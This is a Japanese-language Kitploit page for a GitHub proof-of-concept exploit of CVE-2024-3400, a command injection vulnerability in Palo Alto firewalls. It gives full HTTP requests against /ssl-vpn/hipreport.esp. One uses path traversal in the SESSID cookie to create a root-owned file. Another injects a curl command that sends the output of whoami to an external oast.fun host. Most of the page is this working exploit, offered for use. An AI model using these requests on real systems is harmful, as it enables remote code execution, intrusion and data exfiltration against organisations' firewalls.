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CVE-2024-3400-poc — CVE-2024-3400の概念実証エクスプロイト。Palo Altoファイアウォールにおけるコマンドインジェクションの脆弱性で、細工したHTTPリクエストによるファイル作成とリモートコマンド実行を実証します。 | Kitploit
ツール/GitHubGitHub/ghassansabir/cve-2024-3400-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubghassansabir/cve-2024-3400-poc

CVE-2024-3400-poc

CVE-2024-3400の概念実証エクスプロイト。Palo Altoファイアウォールにおけるコマンドインジェクションの脆弱性で、細工したHTTPリクエストによるファイル作成とリモートコマンド実行を実証します。

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CVE-2024-3400 脆弱性 PoC(検証ツール)

脆弱性の説明

CVE-2024-3400 は、Palo Alto ファイアウォールシステムに存在するコマンドインジェクションの脆弱性です。攻撃者は巧妙に細工した HTTP リクエストを送信することで、対象サーバー上で悪意のあるコマンドを実行し、root 権限を取得することも可能です。

脆弱性の再現手順

  1. 以下の HTTP リクエストを送信します:
root@kitploit:~
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

このリクエストを送信すると、サーバー上に hellome1337.txt という名前のファイルが作成され、そのファイルは root 権限を持つことになります。

  1. そのファイルにアクセスしようとすると、HTTP ステータスコード 403(禁止)が返されるはずです(404(未検出)ではなく)。

スクリーンショットは、この脆弱性の悪用プロセスにおける効果を示しています:

image

image

コマンドインジェクションの例

この脆弱性を利用してコマンドインジェクションを実行するには、以下のような HTTP リクエストを送信します:

root@kitploit:~
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

このリクエストは、サーバー上で whoami コマンドを実行し、その結果を指定したリモートサーバー(例:xxxxxxxxxxxxxxxxx.oast.fun)に送信します。

関連情報

  • Rapid7 分析
  • WatchTowr ラボ分析
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